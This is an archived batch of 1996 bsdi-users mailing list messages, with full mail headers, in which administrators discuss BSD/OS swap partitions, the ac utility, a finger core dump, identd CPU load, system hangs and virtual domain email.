lists.gateway.com (8.8.2/555-1212) id PAA09718 for bsdi-users-outgoing; Wed, 6 Nov 1996 15:41:18 -0500 (EST) In-Reply-To: <3.0.32.19961106112809.006d7e4c@newreach.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: "Dave A. Flanigan" cc: bsdi-users@BSDI.COM Subject: Re: Swap Question Date: Wed, 6 Nov 1996 14:44:46 -0800 (PST) > How do 1: Find out the size of my current swap space. If I do a df on that free tells you the amount of memory avaiable and used, swap and real. > partition (/dev/sd0b) I get some really strange results. Huge numbers, an > -% for usage: > Filesystem 512-blocks Used Avail Capacity Mounted on > /dev/sd0b 270654175 1329928064 1520142760 -6089% > and 2: How do I use the new drive as swap. Is there a special way to > format it. I would like to just use the second drive for swap only. Here is I would run disksetup, choose a tiny (or zero if it will let you) size for the / and /usr partiton, make the swap partiton as big as you want, and then mount it with fstab. > my curent fstab file. Any help would be appreciated: > > /dev/sd0a / ufs rw 1 1 > /dev/sd0h /usr ufs rw,userquota 1 2 > /dev/sd0b swap swap sw 0 0 > /dev/sr0a /cdrom cd9660 ro,noexec,nosuid,nodev 0 0 > /dev/sd0b /tmp mfs rw,-s=32768 0 0 > > You would need to change the line that defines the swap partition (/dev/sd0b) to the partition that you want to use, and change the line that mounts the mfs to the same partition. Amy :) From VM Thu Nov 7 01:15:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["93" "Wed" "6" "November" "1996" "14:50:32" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "6" "Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21979 for ; Wed, 6 Nov 1996 16:57:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA09917 for bsdi-users-outgoing; Wed, 6 Nov 1996 16:45:04 -0500 (EST) Message-Id: <199611062150.OAA17698@doctor.nl2k.edmonton.ab.ca> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Need to find ac for Linux Date: Wed, 6 Nov 1996 14:50:32 -0700 (MST) Here is a STRANGE question. a Linux user need an equivalent of ac. Where can it be found? From VM Thu Nov 7 01:15:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["446" "Wed" "6" "November" "1996" "15:19:11" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "13" "Re: \"finger\" on v2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA22804 for ; Wed, 6 Nov 1996 17:22:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA10022 for bsdi-users-outgoing; Wed, 6 Nov 1996 17:17:49 -0500 (EST) Message-Id: <199611062219.PAA20841@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Jay Vassos-Libove" at Jul 31, 96 08:29:54 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: libove@libove.mindspring.com (Jay Vassos-Libove) Cc: bsdi-users@BSDI.COM Subject: Re: "finger" on v2.1 Date: Wed, 6 Nov 1996 15:19:11 -0700 (MST) > > Is it my imagination, or does "finger" core dump on BSD/OS v2.1 when you > finger username@num.eric.ip.address e.g. user@1.2.3.4 ? It doesn't do > this for all IP addresses, but it does it for some. > > Jay Vassos-Libove libove@libove.MindSpring.com > +1 770 552 0543 home +1 404 705 2867 work > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > SERIS - Enhancing Your Time On-Line > > Not your imagination! From VM Thu Nov 7 01:15:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["233" "Wed" "6" "November" "1996" "14:28:40" "-0800" "Steven M. Schultz" "sms@wlv.iipo.gtegsc.com" nil "13" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA23080 for ; Wed, 6 Nov 1996 17:36:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA10063 for bsdi-users-outgoing; Wed, 6 Nov 1996 17:29:49 -0500 (EST) Message-Id: <199611062228.OAA20024@wlv.iipo.gtegsc.com> Precedence: bulk From: "Steven M. Schultz" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, doctor@doctor.nl2k.edmonton.ab.ca Subject: Re: Need to find ac for Linux Date: Wed, 6 Nov 1996 14:28:40 -0800 (PST) > From: The Doctor > Here is a STRANGE question. > > a Linux user need an equivalent of ac. > > Where can it be found? > "which ac" produces on the system here (BSD/OS 2.1): /usr/sbin/ac From VM Thu Nov 7 01:15:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["360" "Wed" "6" "November" "1996" "15:47:14" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "20" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA23629 for ; Wed, 6 Nov 1996 17:54:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA10115 for bsdi-users-outgoing; Wed, 6 Nov 1996 17:50:50 -0500 (EST) Message-Id: <199611062247.PAA23589@doctor.nl2k.edmonton.ab.ca> In-Reply-To: <199611062228.OAA20024@wlv.iipo.gtegsc.com> from "Steven M. Schultz" at Nov 6, 96 02:28:40 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: sms@wlv.iipo.gtegsc.com (Steven M. Schultz) Cc: bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Wed, 6 Nov 1996 15:47:14 -0700 (MST) > > > From: The Doctor > > Here is a STRANGE question. > > > > a Linux user need an equivalent of ac. > > > > Where can it be found? > > > > "which ac" produces on the system here (BSD/OS 2.1): > > /usr/sbin/ac > > The very one. Again, I am looking for source code for this or a Linux version of this command. From VM Thu Nov 7 01:15:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["746" "Wed" "6" "November" "1996" "17:05:20" "-0600" "Jason Bertolacci" "jasonb@horizon.hit.net" nil "20" "Re: Calling back Windows 95 system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA23900 for ; Wed, 6 Nov 1996 18:11:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA10171 for bsdi-users-outgoing; Wed, 6 Nov 1996 18:06:52 -0500 (EST) In-Reply-To: <2.2.32.19961106191607.00858cb0@gator.naples.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Bertolacci Sender: owner-bsdi-users@lists.gateway.com To: "Kevin U. Hill" cc: Mihails Nikitins , bsdi-users@BSDI.COM Subject: Re: Calling back Windows 95 system Date: Wed, 6 Nov 1996 17:05:20 -0600 (CST) On Wed, 6 Nov 1996, Kevin U. Hill wrote: > Your users will have to install MS Dialup Server which comes bundled with > the Win95 Plus Pack. Around $40 last time I looked. Or you can get the Dialup Server for free with the Dialup Networking Update (the ISDN support pack) found at windows95.com. jasonb H o r i z o n I n t e r n e t T e c h n o l o g i e s 4th and Tupper - Strother Field * Jason Bertolacci * 618 E 13th Ave P.O. Box 633 * Winfield KS 67156 * Winfield KS 67156 email:info@horizon.hit.net * email:jasonb@horizon.hit.net http://www.hit.net/ * http://www.hit.net/~jasonb/ ph:(316)221-1233 * fax:(316)221-6294 * ph:(316)221-3181 * fax:(316)229-8025 From VM Thu Nov 7 01:15:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["389" "Thu" "7" "November" "1996" "11:14:28" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "14" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA25797 for ; Wed, 6 Nov 1996 19:20:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA10387 for bsdi-users-outgoing; Wed, 6 Nov 1996 19:16:20 -0500 (EST) In-Reply-To: <199611061736.KAA22904@tao.bsdi.com> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: X Question... Date: Thu, 7 Nov 1996 11:14:28 +1100 (EST) On Wed, 6 Nov 1996, Bill Nestlerode wrote: [ Virtual consoles with ALT/F# ] > An engineer here at BSDI said it was something Xinside had not implemented for > BSD/OS. At any rate, it does not work. Next version, perhaps? -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:15:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["688" "Wed" "6" "November" "1996" "14:58:17" "-0800" "Y. F. SysAdmin" "gerry@icebox.iceonline.com" nil "19" "Re: \"finger\" on v2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA26616 for ; Wed, 6 Nov 1996 19:47:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA10433 for bsdi-users-outgoing; Wed, 6 Nov 1996 19:45:37 -0500 (EST) Message-Id: <199611062258.OAA21099@icebox.iceonline.com> In-Reply-To: <199611062219.PAA20841@doctor.nl2k.edmonton.ab.ca> from "The Doctor" at Nov 6, 96 03:19:11 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "Y.F.SysAdmin" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: "finger" on v2.1 Date: Wed, 6 Nov 1996 14:58:17 -0800 (PST) > > > > > Is it my imagination, or does "finger" core dump on BSD/OS v2.1 when you > > finger username@num.eric.ip.address e.g. user@1.2.3.4 ? It doesn't do > > this for all IP addresses, but it does it for some. > > > > Jay Vassos-Libove libove@libove.MindSpring.com > > +1 770 552 0543 home +1 404 705 2867 work > > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > > SERIS - Enhancing Your Time On-Line > > > > > Not your imagination! > But easily fixable too (if I can do it : > ) when you have source. Im pretty sure bsdi knows about it and next release you can get the official fixed version. For now you might have to live with .core files... From VM Thu Nov 7 01:15:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["554" "Wed" "6" "November" "1996" "17:59:02" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "17" "Re: Swap Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA26900 for ; Wed, 6 Nov 1996 20:02:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA10451 for bsdi-users-outgoing; Wed, 6 Nov 1996 19:57:54 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: ian mcwilliam cc: bsdi-users@BSDI.COM Subject: Re: Swap Question Date: Wed, 6 Nov 1996 17:59:02 -0800 (PST) > Amy :) wrote: > > >I would run disksetup, choose a tiny (or zero if it will let you) size for > >the / and /usr partiton, make the swap partiton as big as you want, and > >then mount it with fstab. > > > > Why would you partition a / and /usr partition. If he is adding a new drive > this is not needed. just partition a new swap volume on the new drive > Disksetup makes those partitions automagically for you, so i was saying just make them 0M and let disksetup setup the swap partition. Sounded like a quick and easy solution to me. Amy :) From VM Thu Nov 7 01:15:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["406" "Wed" "6" "November" "1996" "18:10:42" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "19" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA26905 for ; Wed, 6 Nov 1996 20:02:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA10468 for bsdi-users-outgoing; Wed, 6 Nov 1996 20:04:39 -0500 (EST) Message-Id: <199611070110.SAA08061@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Enrique Vadillo" at Nov 6, 96 05:51:14 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: vadillo@apu.rcp.net.pe (Enrique Vadillo) Cc: bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Wed, 6 Nov 1996 18:10:42 -0700 (MST) > > > > /usr/sbin/ac > > > > Again, I am looking for source code for this or a Linux version of this > > Hmm... why don't you just grab it from the BSD source files? huh? > > Enrique- > -- > R&D at RCP - Internet Peru > Fax: +51 1 241-1320 > Phone: +51 1 241-5688 > Web Site: http://www.rcp.net.pe (PERU) > Mirror Web Site: http://ekeko.rcp.net.pe (USA) > > I am a binary user, not source, thx. From VM Thu Nov 7 01:15:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["334" "Wed" "6" "November" "1996" "17:51:14" "-0500" "Enrique Vadillo" "vadillo@apu.rcp.net.pe" nil "15" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA27986 for ; Wed, 6 Nov 1996 20:45:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA10335 for bsdi-users-outgoing; Wed, 6 Nov 1996 18:53:44 -0500 (EST) Message-Id: In-Reply-To: <199611062247.PAA23589@doctor.nl2k.edmonton.ab.ca> from The Doctor at "Nov 6, 96 03:47:14 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: vadillo@apu.rcp.net.pe (Enrique Vadillo) Sender: owner-bsdi-users@lists.gateway.com To: doctor@doctor.nl2k.edmonton.ab.ca (The Doctor) Cc: sms@wlv.iipo.gtegsc.com, bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Wed, 6 Nov 1996 17:51:14 -0500 (EST) > > /usr/sbin/ac > > Again, I am looking for source code for this or a Linux version of this Hmm... why don't you just grab it from the BSD source files? huh? Enrique- -- R&D at RCP - Internet Peru Fax: +51 1 241-1320 Phone: +51 1 241-5688 Web Site: http://www.rcp.net.pe (PERU) Mirror Web Site: http://ekeko.rcp.net.pe (USA) From VM Thu Nov 7 01:15:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1363" "Wed" "6" "November" "1996" "18:27:58" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "42" "List mail being re-delivered after three months? (was: Re: \"finger\" on v2.1)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA28259 for ; Wed, 6 Nov 1996 20:49:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA10264 for bsdi-users-outgoing; Wed, 6 Nov 1996 18:28:19 -0500 (EST) In-Reply-To: <199611062219.PAA20841@doctor.nl2k.edmonton.ab.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: List mail being re-delivered after three months? (was: Re: "finger" on v2.1) Date: Wed, 6 Nov 1996 18:27:58 -0500 (EST) Strange! The message, regarding v2.1 finger dumping core, to which two people have responded today, I posted on July 31, 1996. Evidently, it was stuck in a queue somewhere (but it did indeed go out to the whole list, because it is in the Nexial index, and the issue was discussed and resolved months ago). Someone who just received that message today, please send me the message you received, including ALL HEADERS. Thanks -Jay On Wed, 6 Nov 1996, The Doctor wrote: > Date: Wed, 6 Nov 1996 15:19:11 -0700 (MST) > From: The Doctor > To: Jay Vassos-Libove > Cc: bsdi-users@bsdi.com > Subject: Re: "finger" on v2.1 > > > > > Is it my imagination, or does "finger" core dump on BSD/OS v2.1 when you > > finger username@num.eric.ip.address e.g. user@1.2.3.4 ? It doesn't do > > this for all IP addresses, but it does it for some. > > > > Jay Vassos-Libove libove@libove.MindSpring.com > > +1 770 552 0543 home +1 404 705 2867 work > > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > > SERIS - Enhancing Your Time On-Line > > > > > Not your imagination! > Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Thu Nov 7 01:15:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["541" "Wed" "6" "November" "1996" "18:18:22" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "14" "Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28633 for ; Wed, 6 Nov 1996 21:06:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA10649 for bsdi-users-outgoing; Wed, 6 Nov 1996 21:00:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Virtual Domain Email Date: Wed, 6 Nov 1996 18:18:22 -0800 (PST) I was wondering if it was necessary to configure the sendmail.cf file for setting up virtual domain email addresses? I am having problems with getting a domain to receive email from a remote site. I have MX files set up in my named DNS files, have added the domain to the sendmail.cw, and I am able to send mail to the domain with my domain but when it comes time to receive mail from a different domain, the mail is rejected. Is there something I am leaving OUT? Any info would be greatly appreciated. Thanks in advance. Chris From VM Thu Nov 7 01:15:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1915" "Wed" "6" "November" "1996" "17:21:43" "-0800" "Jon Villarreal" "jon@fish.grin.net" nil "52" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28637 for ; Wed, 6 Nov 1996 21:06:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA10633 for bsdi-users-outgoing; Wed, 6 Nov 1996 20:58:17 -0500 (EST) In-Reply-To: <3280D521@SMTPGTWY.WANG.COM> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jon Villarreal Sender: owner-bsdi-users@lists.gateway.com To: "Noel, Richard" cc: "'bsdi-users@gateway.com'" Subject: Re: identd Process CPU Utilization Date: Wed, 6 Nov 1996 17:21:43 -0800 (PST) I've seen this happen if people are running IRC bots on your machine, and they get k-lined (banned) from a server. The stupid bot keeps trying to reconnect at the rate of several hundred times a second, and each time the irc server is checking the identd response for that client. ------------------------------------------------ Jon Villarreal jon@grin.net System Administration Grin Net LLC ------------------------------------------------ On Wed, 6 Nov 1996, Noel, Richard wrote: > > Today I noticed the identd process is consistently utilizing > large amounts of CPU time, ranging from a low (that I've seen > via top) of 12% to a high of 64% and spending a lot of time in > the 50% range. > > load averages: 2.45, 2.78, 3.06 > 12:32:42 > 145 processes: 2 running, 143 sleeping > Cpu states: 4.4% user, 36.7% nice, 59.0% system, 0.0% interrupt, 0.0% > idle > Memory: Real: 24M/49M Virt: 42M/300M Free: 56M > > > PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND > 4620 sys 105 4 288K 424K run 53:43 60.74% 60.74% identd > > > The CPU is an Intel Pentium 150MHz, 128MB main memory, BSDI 2.0.1, > Sendmail v8.6.12. The server is on our internal network (only) and > is used as the WWW proxy server (CERN v3.0) for internal clients, > POP3 server, and netnews server. Uptime is 4hrs; we had to boot > this morning because (I'm told) the web server stopped responding > to requests for its homepage, but users could get out to the Internet. > > I found in USAH and Sendmail that the identd process is used by sendmail > to identify the user and host that initiate network connections. > > Using tail -f on maillog and messages I don't see anything unusual. > > Could anyone suggest where I might look to determine what is causing > identd to consume so much CPU time ? > > Thanks, > Richard > noel@wang.com > From VM Thu Nov 7 01:15:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["398" "Thu" "7" "November" "1996" "12:36:52" "+1030" "David Newall" "davidn@rebel.net.au" nil "13" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28641 for ; Wed, 6 Nov 1996 21:06:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA10675 for bsdi-users-outgoing; Wed, 6 Nov 1996 21:07:52 -0500 (EST) Message-Id: <199611070206.MAA31658@rebel.net.au> In-Reply-To: from "system operator" at Nov 6, 96 09:04:13 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: bsdi@mohawk.net (system operator) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Thu, 7 Nov 1996 12:36:52 +1030 (CST) system operator [whoever that is!] wrote: > > One should always make a "shadowed" directory tree under mount points on the > > root filesystem to handle single-user situations. > > Could you explain what you mean, please? - rh It means to ensure there's a /var/tmp, even if /var isn't mounted: # umount /var # mkdir /var /var/tmp [Standard disclaimer: These are my private opinions] From VM Thu Nov 7 01:15:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1499" "Wed" "6" "November" "1996" "18:59:41" "-0700" "Robert Hare" "rhare@gilasoft.com" nil "40" "Re: V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28669 for ; Wed, 6 Nov 1996 21:08:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA10696 for bsdi-users-outgoing; Wed, 6 Nov 1996 21:09:47 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Robert Hare Sender: owner-bsdi-users@lists.gateway.com To: Jay Vassos-Libove cc: problem@BSDI.COM, bsdi-users@BSDI.COM Subject: Re: V2.1, all patches, I/O (?) hung today Date: Wed, 6 Nov 1996 18:59:41 -0700 (MST) On Wed, 6 Nov 1996, Jay Vassos-Libove wrote: > I've been running BSD/OS V2.1 pretty much since its release date, and had > no trouble. A few days ago, I installed the most recent set of patches [stuff deleted] > > Things seemed fine... but then earlier this afternoon, just over four days > after the new kernel was installed and the system rebooted, the system > "hung". > > This was not a total hang, where nothing at all works. The kernel was > still able to respond to ethernet interrupts, and the kernel routing > functionality was undamaged (I ping'ed and telnet'd through the > hung machine to another machine, and was able to ping the hung machine, > but not telnet to the hung machine). > > The hang occurred after quite heavy use of Netscape Navigator (v3.0), and > happenned to occur right when I had composed a mail message in a Navigator > mail composition window and clicked Send. [stuff deleted] We have been seeing the same thing. We are runnig 2.1 with patches through 24. We have noticed that when we run "Netscape Gold 3.0/U.S., 28-Aug-96", the machine will frequently hang (ie. easy to duplicate). We are not running X on the console. We have noticed that when this occurs the 3 finger salute will not bring up the reboot message and the only recourse is to push the reset button. We just figured out that it was occuring while running netscape and have not tried any debugging at this point. Robert Hare Magic Software Development, Inc. From VM Thu Nov 7 01:15:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2857" "Wed" "6" "November" "1996" "18:40:50" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "58" "V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28915 for ; Wed, 6 Nov 1996 21:16:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA10315 for bsdi-users-outgoing; Wed, 6 Nov 1996 18:41:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: problem@bsdi.com, bsdi-users@bsdi.com Subject: V2.1, all patches, I/O (?) hung today Date: Wed, 6 Nov 1996 18:40:50 -0500 (EST) I've been running BSD/OS V2.1 pretty much since its release date, and had no trouble. A few days ago, I installed the most recent set of patches and a few older ones that I had not bothered to install yet (something like Kernel patches after K210-017). Due to slippage on my own part, I ended up doing a very clean patch install -- I deleted /usr/src/sys/ and installed the kernel sources from CD, then applied all patches in order, and rebuilt the kernel. Things seemed fine... but then earlier this afternoon, just over four days after the new kernel was installed and the system rebooted, the system "hung". This was not a total hang, where nothing at all works. The kernel was still able to respond to ethernet interrupts, and the kernel routing functionality was undamaged (I ping'ed and telnet'd through the hung machine to another machine, and was able to ping the hung machine, but not telnet to the hung machine). The hang occurred after quite heavy use of Netscape Navigator (v3.0), and happenned to occur right when I had composed a mail message in a Navigator mail composition window and clicked Send. Virtual memory should not be a problem -- the system has 40M RAM and 128M swap configured. Running the same application mix right now that I was running prior to the hang, ~35M is allocated. Even allowing for much greater growth in Netscape, I'm sure that the system didn't run out of virtual memory. (Performance was fine, and the disks weren't rattling any more than usual). I am the sole user of the system. It is connected to the Internet via a dialup PPP link (USR Courier, 33.6, actually gets 31.2 connects, port configured for 57,600 baud). It has an Adaptec 1542CF controller with two hard disks, two CDROM readers, and a tape drive on it. I added the second CDROM over a week ago, prior to the new kernel, and it seems to work fine. (It isn't new, and had worked fine on other systems earlier). The system runs X on its console (necessarily, for Netscape as described above :} ), via an ATI Graphics Ultra Pro 2M VRAM (ISA bus) card. The only changes in the system are the new CDROM and the kernel patches. While Netscape itself has crapped out on me many times (it just goes away and/or core dumps), the system has never frozen up like this. Nothing out of the ordinary was logged to any of the /var/log/ files. (Is there some place else to check? Sorry, I don't have another syslog daemon to which I could direct a copy of log messages in case the problem was an I/O subsystem hang... unless someone has a syslog listener for a Windows NT 3.51 system?). Has anyone else seen this? Any suggestions? Thanks - Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Thu Nov 7 01:16:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1596" "Wed" "6" "November" "1996" "21:08:25" "-0600" "Jeffrey J. Libman" "jeffrl@wantabe.com" nil "53" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA00929 for ; Wed, 6 Nov 1996 22:25:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA10825 for bsdi-users-outgoing; Wed, 6 Nov 1996 22:15:04 -0500 (EST) Message-ID: <01BBCC27.BB8EA820@jeffrl.wantabe.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: Jeffrey J Libman Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@BSDI.COM" , "'Chris McGlasson'" Subject: RE: Virtual Domain Email Date: Wed, 6 Nov 1996 21:08:25 -0600 yes, it is 